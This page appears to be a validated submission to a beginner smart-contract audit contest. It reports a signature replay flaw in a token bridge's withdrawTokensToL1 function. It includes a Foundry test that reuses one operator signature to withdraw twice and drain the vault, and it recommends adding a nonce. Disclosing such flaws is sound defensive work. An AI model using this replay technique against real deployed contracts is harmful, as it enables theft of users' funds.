Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

signature replay

Summary

signature replay

Vulnerability Details

user can withdraw tokens many times using same signature.

Impact

User can withdraw tokens many times using same signature until the vault is empty.

Tools Used

foundry

POC

function testUserWithdrawTokensUsingSameSignature() public {
vm.startPrank(user);
uint256 depositAmount = 10e18;
uint256 userInitialBalance = token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount * 2);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount * 2);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, depositAmount), operator.key);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
assertEq(token.balanceOf(address(vault)), 0);
assertEq(token.balanceOf(user), userInitialBalance);
}

Recommendations

consider including nonce in message to prevent replay

Updates

Lead Judging Commences

Hamiltonite Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.